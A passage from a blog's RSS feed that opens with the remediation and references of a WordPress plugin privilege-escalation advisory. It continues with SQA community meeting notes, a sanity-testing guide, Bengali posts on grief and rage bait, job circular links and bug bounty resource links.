&lt;p&gt;Update the &lt;code&gt;easycommerce&lt;/code&gt; plugin to version &lt;strong&gt;1.8.3&lt;/strong&gt; or later immediately. If an immediate update is not possible, consider temporarily deactivating the plugin until updating is possible. After updating, audit your WordPress user list for any unexpected administrator accounts created before the patch was applied.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easycommerce/easycommerce-ai-powered-blazing-fast-beautiful-wordpress-ecommerce-plugin-090-beta2-150-unauthenticated-privilege-escalation&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-11457&quot;&gt;CVE-2025-11457 on MITRE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/easycommerce/&quot;&gt;EasyCommerce on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3392029/easycommerce/trunk/app/Abstracts/User.php&quot;&gt;Patch changeset on plugins.trac.wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2025-12-01T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>BAQC Volunteer Formation Meeting: Notes &amp; Key Decisions</title><link>https://hurayraiit.com/blog/baqc-volunteer-formation-meeting-notes/</link><guid isPermaLink="true">https://hurayraiit.com/blog/baqc-volunteer-formation-meeting-notes/</guid><description>Notes from BAQC&apos;s volunteer formation meeting — goals, structure, and responsibilities for building Bangladesh&apos;s first dedicated SQA community.</description><pubDate>Sun, 30 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Date: Nov 30, 2025&lt;/p&gt;
&lt;p&gt;Time: 09:35 PM&lt;/p&gt;
&lt;p&gt;Volunteers: 19&lt;/p&gt;
&lt;h3&gt;MD Shobuj Miah&lt;/h3&gt;
&lt;p&gt;Shobuj vaiya started the meeting and shared the following information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is a non-profit community, and volunteers will not financially benefit from this.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We will arrange bi-weekly knowledge sharing sessions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shobuj vaiya receives a lot of requests from employers to find good SQA talent. With the growth of this community, the amount will only increase. So, we may plan to perform skill assessment and create a CV bank where employers can find the verified talent that they need.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We may organize testing-related competitions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We may publish a magazine every year.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We may also plan to publish a book with help from the community members.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We can plan to implement crowdsourced community-based testing for the companies that need it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Every community member should provide support and share posts to help grow the community.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shobuj vaiya requested everyone to add BAQC to their LinkedIn profiles along with their assigned roles based on today&apos;s session.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Abdul Motaleb&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Thanked everyone for building this community and expressed his appreciation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He has 3+ years of experience working in a multinational company.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his manual testing skills.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Shakil Ahmed Sourov&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He has 3+ years of experience in SQA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to learn good SQA processes and implement them in his company.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his Selenium Webdriver (Java) skills.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Abu Hurayra&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He has 4.5 years of experience working in a WordPress-focused company.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his skills in security, automation, and overall testing regarding the WordPress ecosystem.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Afia Anjum&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;She is a fresher&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She wants to help grow the community, build social media outreach, and develop branding.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Ahnaf Ahmed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He expressed how he felt the need for a community for SQA professionals.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to see knowledge-sharing sessions related to SQA processes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants mentorship from industry experts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his knowledge of Cypress Automation (JS/TS).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Arifur Rahman Tuhin&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He is a fresher&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to help build the community through social media outreach.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Badhon Parvej&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He has 3 yoe in SQA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to see a bug bounty type platform for SQA and software testing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his skills on Playwright Automation using Python and BDD, Load testing using JMeter.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Manjur Ahmed Chowdhury (Safin)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He is a fresher.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He is learning SDLC/STLC.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his manual testing skills and also help grow the community with social media presence.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Mohsin Farabi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;He wants to contribute with his skills on JMeter for load testing, Postman and Selenium with Java.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nahid Iqbal&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He wants to see industry experts sharing their knowledge in sessions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He is learning Playwright with POM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to help build the community with social media outreach.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Osama Bin Kalam&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He thanked everyone for the initiative.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He has 2 yoe working as a manual tester.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He suggested that we should try to change the perception around SQA in our country.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He expressed his concerns that companies in our country try to force everyone to do both manual and automation testing and he wants to focus on a specific role.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his skills on manual testing and he wants to help grow social media outreach.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SM Raufuzzaman Ashik&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He is still learning and growing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He will contribute to grow the community.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sabbir Ahmed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He teaches a couple of his friends about SQA in his free time, and when he learned about this community, he though why not contribute here so that more people can get benefited.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He suggested that we may share our learning progress in linkedin his hashtags of the comunity.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to contribute with his skills on manual testing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sabina Sultana&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;She has taken a 3-month-long training on SQA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She felt that the topics/concepts could be explained with small examples.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She wants to help teach others about what she learned about manual testing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She is learning about JavaScript and Playwright.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sohanur Rahman Sohan&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He has 2 years of experience.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He expressed his gratitude for this community.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to grow his skills.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to learn about the SQA industry, interview processes, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Subhendu&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He is a fresher.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He wants to help build the community.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tania Khatun&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;She has 2.5 years of experience working in a Dubai-based software company.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unfortunately, the company went down recently.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She wants to learn and share knowledge.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She has an interest in the interview processes; she has attended a lot of interviews, and she collects interview questions from her peers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;She wants to help teach interview-related skills.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tawsif Ahmed&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;He is a fresh graduate.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He shared that when juniors finish a course, they often fall into a loop and lose growth and motivation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He hopes that the community will solve these issues.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;He writes blog articles on manual testing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Final Remarks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Emails will be sent to all interested contributors.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A separate WhatsApp group will be created for internal discussions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><atom:updated>2025-11-30T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>সন্তানের মৃত্যু কীভাবে মেনে নেবো?</title><link>https://hurayraiit.com/blog/dealing-with-the-loss-of-a-child/</link><guid isPermaLink="true">https://hurayraiit.com/blog/dealing-with-the-loss-of-a-child/</guid><description>সন্তানের মৃত্যুকে কীভাবে মেনে নেবো — ইসলামের দৃষ্টিতে একজন মুসলিম অভিভাবকের জন্য আল্লাহর কাছ থেকে সান্ত্বনা ও দিকনির্দেশনা।</description><pubDate>Sun, 30 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;সন্তানের মৃত্যু অনেক কষ্টকর! মেনে নেয় খুব কষ্টকর হয়ে যায়। আল্লাহ এ বিষয়ে কী বলছেন? একজন মুসলিম হিসাবে আমরা সন্তানদের মৃত্যুকে কীভাবে মেনে নেবো?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=laeXj29dAm4&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-11-30T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>What Is Sanity Testing? A Beginner’s Friendly Guide</title><link>https://hurayraiit.com/blog/what-is-sanity-testing-a-beginners-friendly-guide/</link><guid isPermaLink="true">https://hurayraiit.com/blog/what-is-sanity-testing-a-beginners-friendly-guide/</guid><description>What is sanity testing? A beginner-friendly guide — when to run it, what to check, how it differs from regression testing, and why it speeds up QA cycles.</description><pubDate>Sun, 30 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sanity testing is one of those QA terms that sounds more dramatic than it is—but it’s actually a simple, practical checkpoint every tester should understand. Think of it as a quick confidence boost for the software before the team dives into deeper testing.&lt;/p&gt;
&lt;p&gt;At its core, sanity testing is a focused, narrow verification done after a bug fix or a small update. Your goal is to check whether the specific change behaves as expected and hasn’t broken anything essential around it. Unlike a full regression cycle, sanity testing is short, selective, and fast. You don’t check everything—you only check what matters right now.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Imagine a developer fixes a login issue. Before running complete regression tests, you perform a small set of targeted checks: Does the login work now? Does the reset password page still load? Are basic flows intact? If the answer is yes, the build is “sane”—safe enough for further testing.&lt;/p&gt;
&lt;p&gt;Sanity testing usually happens after receiving a new build that includes minor changes, especially bug fixes. It acts as a safety net for the QA team. Rather than spending hours testing an unstable build, sanity testing helps you quickly decide whether the build is worth deeper investigation.&lt;/p&gt;
&lt;p&gt;For beginners, the biggest challenge is knowing what to test and what to skip. A good rule is: test only what has changed and the functions directly connected to that change. If the developer fixed a checkout button, you don’t need to test the entire site—just the checkout flow and its immediate neighbors.&lt;/p&gt;
&lt;p&gt;Sanity tests should be simple, predictable, and repeatable. You don’t write long test cases for them; instead, you rely on quick checks or short scripts. If the sanity test fails, the build goes back to the development team immediately. No need to proceed further.&lt;/p&gt;
&lt;p&gt;Mastering sanity testing makes you faster and more efficient as a QA professional. You save your team’s time, avoid wasted effort, and ensure that deeper testing happens only when the product is stable enough.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><atom:updated>2025-11-30T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>BAQC SQA Community Meetup: Key Highlights &amp; Takeaways</title><link>https://hurayraiit.com/blog/baqc-sqa-community-meetup-summary/</link><guid isPermaLink="true">https://hurayraiit.com/blog/baqc-sqa-community-meetup-summary/</guid><description>Summary of the BAQC SQA community meetup in Dhaka — insights on building a lasting QA community, hiring practices, and volunteer responsibilities shared.</description><pubDate>Fri, 28 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;BAQC – Bangladesh Aspiring QA Community&lt;br /&gt;
SQA Community Meetup Summary (Nov 28, 2025 • Mirpur 12)&lt;br /&gt;
Attendees: 8&lt;/p&gt;
&lt;p&gt;Alhamdulillah, the meetup wrapped up beautifully 🤲 The venue—chosen by Shobuj vaiya—was a calm, inspiring masjid that set the perfect tone. May Allah place barakah in everyone’s efforts.&lt;/p&gt;
&lt;p&gt;The gathering began at 4 PM right after Asr. Shiblee vaiya opened the discussion by reflecting on a community he built in his youth—how it started, who joined, the challenges they faced, and why it couldn’t sustain. His reflections gave us a roadmap of pitfalls to avoid and principles to follow for building something lasting, by Allah’s mercy.&lt;/p&gt;
&lt;p&gt;Shobuj vaiya then shared his journey into tech—his background, how he discovered Software Testing, and what fuels his passion for SQA. He talked about how easily we slip into comfort zones, stop learning, and gradually fall behind. His hope is that this community becomes a place that pushes all of us to grow, stay current, and support one another 🤝&lt;/p&gt;
&lt;p&gt;Later, Shiblee vaiya offered valuable insights into his SQA hiring process—what he looks for, how he finds top talent, and the patterns he has observed over the years. Those who attended benefited deeply from his advice.&lt;/p&gt;
&lt;p&gt;Shobuj vaiya continued the hiring discussion with stories from real experiences—how many people struggle because they lack a supportive network, and how a community could fill that gap. He emphasized the need for volunteers to take responsibility for:&lt;br /&gt;
• offering online help&lt;br /&gt;
• inviting members&lt;br /&gt;
• answering questions or directing them to experts&lt;br /&gt;
• collecting data on QA trends, tools, and technologies in Bangladesh&lt;br /&gt;
• identifying what freshers truly need to get hired&lt;br /&gt;
He encouraged contributors to step up as subject-matter experts to share focused knowledge for the benefit of all.&lt;/p&gt;
&lt;p&gt;The conversation naturally shifted toward AI. With so many answers instantly available online, why do we need a community? Shiblee vaiya led this thought-provoking discussion, explaining that the real value lies in what AI can’t offer—human connection, mentorship, lived experience, emotional support, and accountability.&lt;/p&gt;
&lt;p&gt;We took a short snack break and prayed Maghrib. After Maghrib, Shiblee vaiya had to leave, and the rest of us continued with more casual but meaningful conversations.&lt;/p&gt;
&lt;p&gt;We talked about automation testing, learning paths, and effective knowledge sharing. Juniors asked questions, seniors shared guidance, and we discussed our next steps and upcoming plans. The meetup wrapped up right at 7 PM, and we parted with warm goodbyes 🌙&lt;/p&gt;
</content:encoded><atom:updated>2025-11-28T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>কমেন্ট করার আগে ভাবুন - রেজ বেইট কিনা</title><link>https://hurayraiit.com/blog/rage-bait-think-before-you-comment/</link><guid isPermaLink="true">https://hurayraiit.com/blog/rage-bait-think-before-you-comment/</guid><description>রেজ বেইট কী এবং কেন কমেন্টের আগে ভাবা উচিত — সোশাল মিডিয়ার প্ররোচনামূলক পোস্টে এনগেজ না করাই সবচেয়ে বুদ্ধিমানের কাজ।</description><pubDate>Thu, 27 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;রেজ বেইট হলো এমন এক ধরনের প্ররোচনামূলক কন্টেন্ট, যেখানে ইচ্ছে করে এমন কিছু বলা বা দেখানো হয় যা মানুষের ভেতরে রাগ জাগিয়ে তোলে। উদ্দেশ্য সাধারণত খুবই সরল—মানুষ রেগে গিয়ে মন্তব্য করবে, শেয়ার করবে, বিতর্কে জড়াবে, আর অ্যালগরিদম সেই পোস্টকে আরও ছড়িয়ে দেবে। ফলে ভুল ধারণা, বিভ্রান্তি আর অস্বাস্থ্যকর আলোচনা আরও বাড়তে থাকে।&lt;/p&gt;
&lt;p&gt;ধরুন কেউ এমন একটি পোস্ট দিল:&lt;br /&gt;
“৩০ বছরের চাকরি জীবন শেষে ১ কোটি টাকা হাতে পেতে চাইলে মাসে সঞ্চয় করুন মাত্র ৪,৬০৫ টাকা। প্রতি ৫ বছর পর পর সঞ্চয় বাড়বে ৩.৭১ লক্ষ, ৯.৬৯ লক্ষ, ১৯.৩১ লক্ষ, ৩৪.৮২ লক্ষ, ৫৯.৭৯ লক্ষ হয়ে ৩০ বছরে ১ কোটি টাকায় পৌঁছাবে। বার্ষিক ১০% কম্পাউন্ড রিটার্ন ধরে হিসাব করা হয়েছে। বিনিয়োগ করা যেতে পারে DPS বা SIP।”&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;এই ধরনের পোস্ট দেখলে ইসলামের অনুসারীরা স্বাভাবিকভাবেই ক্ষুব্ধ হতে পারেন, কারণ এখানে সুদভিত্তিক বিনিয়োগ ও রিটার্নের পরামর্শ দেওয়া হচ্ছে—যা ইসলামে হারাম। অথচ অনেক সময় এমন পোস্টগুলো ইচ্ছে করেই করা হয় বিতর্ক ছড়ানোর জন্য, যেন মানুষ রাগে প্রতিক্রিয়া জানায়।&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;এই ধরনের কন্টেন্টে মন্তব্য করা বা উত্তপ্ত আলোচনায় অংশ নেওয়া মানে সেই ফাঁদকেই আরও শক্তিশালী করা। নিজের স্নায়ুকে শান্ত রেখে এগিয়ে যাওয়া অনেক বেশি কার্যকর। রেজ বেইটের সবচেয়ে বড় পরাজয় হলো আপনার নীরবতা।&lt;/p&gt;
</content:encoded><atom:updated>2025-11-27T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>WPDeveloper SQA Job Circulars: Previous Openings Archive</title><link>https://hurayraiit.com/blog/previous-sqa-job-circulars-wpdeveloper/</link><guid isPermaLink="true">https://hurayraiit.com/blog/previous-sqa-job-circulars-wpdeveloper/</guid><description>Real SQA job circulars from WPDeveloper — review actual requirements for Junior Test Engineer and xCloud SQA roles to sharpen your skills and CV for the market.</description><pubDate>Mon, 24 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This post contains a few job circulars related to SQA. These were used in the last few years by WPDeveloper to hire SQA resources. Are you trying to find your dream job in the SQA realm? I hope that these will help you. You can use these as a reference to update your skills and focus on what matters most.&lt;/p&gt;
&lt;h2&gt;Junior Software Test Engineer&lt;/h2&gt;
&lt;p&gt;Period: December, 2023&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://wpdeveloper.com/all-jobs/junior-software-test-engineer/&quot;&gt;https://wpdeveloper.com/all-jobs/junior-software-test-engineer/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/11/image-scaled.png&quot;&gt;image&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/11/image-scaled.png&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;SQA &amp;amp; Test Engineer for xCloud Hosting&lt;/h2&gt;
&lt;p&gt;Period: March, 2024&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://wpdeveloper.com/jobs/sqa-test-engineer-for-xcloud-hosting/&quot;&gt;https://wpdeveloper.com/jobs/sqa-test-engineer-for-xcloud-hosting/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/11/image-1-scaled.png&quot;&gt;image&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/11/image-1-scaled.png&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Site Reliability Engineer&lt;/h2&gt;
&lt;p&gt;Period: April, 2024&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://wpdeveloper.com/jobs/site-reliability-engineer/&quot;&gt;https://wpdeveloper.com/jobs/site-reliability-engineer/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hurayraiit.com/previous-sqa-job-circulars-wpdeveloper/image-25/&quot;&gt;image&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/11/image-2-scaled.png&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Application Security Engineer&lt;/h2&gt;
&lt;p&gt;Period: June, 2024&lt;/p&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://wpdeveloper.com/jobs/application-security-engineer/&quot;&gt;https://wpdeveloper.com/jobs/application-security-engineer/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hurayraiit.com/previous-sqa-job-circulars-wpdeveloper/image-26/&quot;&gt;image&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/11/image-3-scaled.png&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Open Positions&lt;/h2&gt;
&lt;p&gt;All current open positions can be found here: &lt;a href=&quot;https://careers.startise.com/&quot;&gt;https://careers.startise.com/&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-11-24T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>WordPress Bug Bounty: Best Resources for Security Researchers</title><link>https://hurayraiit.com/blog/wordpress-bug-bounty-resources/</link><guid isPermaLink="true">https://hurayraiit.com/blog/wordpress-bug-bounty-resources/</guid><description>Essential WordPress bug bounty resources for beginners and researchers — Patchstack, Wordfence, VDP programs, leaderboards, and guidelines all in one place.</description><pubDate>Tue, 18 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress has seen amazing growth in the bug bounty space in the last couple of years. Specially thanks to Patchstack and WordFence. A lot of newcomers are getting involved in this ecosystem. I decided to note down some important links that will hopefully guide the newcomers and help them find the resources faster.&lt;/p&gt;
&lt;p&gt;Here are some links to resources related to bug bounty in the WordPress ecosystem:&lt;/p&gt;
&lt;h2&gt;Patchstack&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Patchstack Bug Bounty Overview: &lt;a href=&quot;https://patchstack.com/bug-bounty&quot;&gt;https://patchstack.com/bug-bounty&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Patchstack Bug Bounty Guidelines &amp;amp; Rules: &lt;a href=&quot;https://patchstack.com/articles/bug-bounty-guidelines-rules/&quot;&gt;https://patchstack.com/articles/bug-bounty-guidelines-rules/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Patchstack Vulnerability Database: &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;https://patchstack.com/database/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;All Time Patchstack Bug Bounty Leaderboard: &lt;a href=&quot;https://patchstack.com/database/leaderboard/&quot;&gt;https://patchstack.com/database/leaderboard/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Patchstack Discord Channel: &lt;a href=&quot;https://discord.com/invite/V9AE9zczhv&quot;&gt;https://discord.com/invite/V9AE9zczhv&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Patchstack Academy (Free Learning Resource): &lt;a href=&quot;https://patchstack.com/academy/welcome/&quot;&gt;https://patchstack.com/academy/welcome/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Recent Bug Bounty Articles in Patchstack Blog: &lt;a href=&quot;https://patchstack.com/category/patchstack-bug-bounty/&quot;&gt;https://patchstack.com/category/patchstack-bug-bounty/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are some facts about patchstack:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Patchstack only supports PayPal for bounty payouts. &lt;a href=&quot;https://www.notion.so/patchstack/Patchstack-Alliance-payments-b6d63c55099e4f65b842bc5ce60de2d7&quot;&gt;This link&lt;/a&gt; explains the process in detail.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;They can do a direct bank transfer, if the bounty amount is at least $500. This is easier for people from Bangladesh.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Patchstack is super fast and responsive when it comes to triage.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you have any issues or confusion, create a support ticket in their discord, or post a message in the channels there.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The leaderboard style competition is super fun and exciting.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;WordFence&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Wordfence Intelligence Bug Bounty Program Rules: &lt;a href=&quot;https://www.wordfence.com/threat-intel/bug-bounty-program/&quot;&gt;https://www.wordfence.com/threat-intel/bug-bounty-program/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WordFence Bug Bounty Discord: &lt;a href=&quot;https://discord.com/invite/awPVjTNTrn&quot;&gt;https://discord.com/invite/awPVjTNTrn&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WordFence Vulnerability Database: &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/&quot;&gt;https://www.wordfence.com/threat-intel/vulnerabilities/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
